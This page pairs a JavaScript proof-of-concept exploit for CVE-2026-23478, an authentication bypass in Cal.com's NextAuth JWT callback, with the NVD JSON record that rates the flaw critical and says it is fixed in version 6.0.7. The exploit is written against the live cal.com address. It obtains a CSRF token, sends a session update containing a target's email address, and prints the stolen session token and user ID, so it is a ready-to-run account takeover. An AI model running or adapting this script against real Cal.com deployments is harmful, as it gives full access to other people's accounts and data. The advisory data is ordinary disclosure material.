CVE-2026-23478

import fetch from 'node-fetch'; // CVE-2026-23478 Proof of Concept // Cal.com NextAuth JWT Authentication Bypass const CALCOM_URL = 'https://cal.com'; const TARGET_EMAIL = '[email protected]'; async function exploit() { console.log('[*] Starting CVE-2026-23478 exploitation...'); console.log(`[*] Target: ${TARGET_EMAIL}`); // Step 1: Get CSRF token const csrfResp = await fetch(`${CALCOM_URL}/api/auth/csrf`); const csrfData = await csrfResp.json(); const csrfToken = csrfData.csrfToken; console.log(`[+] CSRF Token obtained: ${csrfToken}`); // Step 2: Create session with target email via session.update // The vulnerability allows arbitrary email injection const sessionUpdateResp = await fetch(`${CALCOM_URL}/api/auth/session`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-csrf-token': csrfToken }, body: JSON.stringify({ callbackUrl: `${CALCOM_URL}`, redirect: false, email: TARGET_EMAIL, // Malicious session update payload json: true }) }); const sessionData = await sessionUpdateResp.json(); console.log('[+] Session update response:', JSON.stringify(sessionData, null, 2)); // Step 3: If successful, we now have a JWT for the target user if (sessionData.user && sessionData.user.email === TARGET_EMAIL) { console.log('[+] SUCCESS: Full account access obtained!'); console.log(`[+] User ID: ${sessionData.user.id}`); console.log(`[+] Session Token: ${sessionData.accessToken}`); return sessionData; } else { console.log('[-] Exploitation failed - target may not exist or patched'); return null; } } exploit().catch(console.error);

{"cve": {"id": "CVE-2026-23478", "sourceIdentifier": "[email protected]", "published": "2026-01-13T22:16:08.093", "lastModified": "2026-02-03T19:29:07.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cal.com is open-source scheduling software. From 3.1.6 to before 6.0.7, there is a vulnerability in a custom NextAuth JWT callback that allows attackers to gain full authenticated access to any user's account by supplying a target email address via session.update(). This vulnerability is fixed in 6.0.7."}, {"lang": "es", "value": "Cal.com es software de programación de código abierto. Desde la 3.1.6 hasta antes de la 6.0.7, existe una vulnerabilidad en una devolución de llamada JWT de NextAuth personalizada que permite a los atacantes obtener acceso autenticado completo a la cuenta de cualquier usuario al proporcionar una dirección de correo electrónico objetivo a través de session.update(). Esta vulnerabilidad está corregida en la 6.0.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-602"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cal:cal.com:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.6", "versionEndExcluding": "6.0.7", "matchCriteriaId": "F8E43A63-8355-4FDF-ABBE-E5A47329CB33"}]}]}], "references": [{"url": "https://github.com/calcom/cal.com/security/advisories/GHSA-7hg4-x4pr-3hrg", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}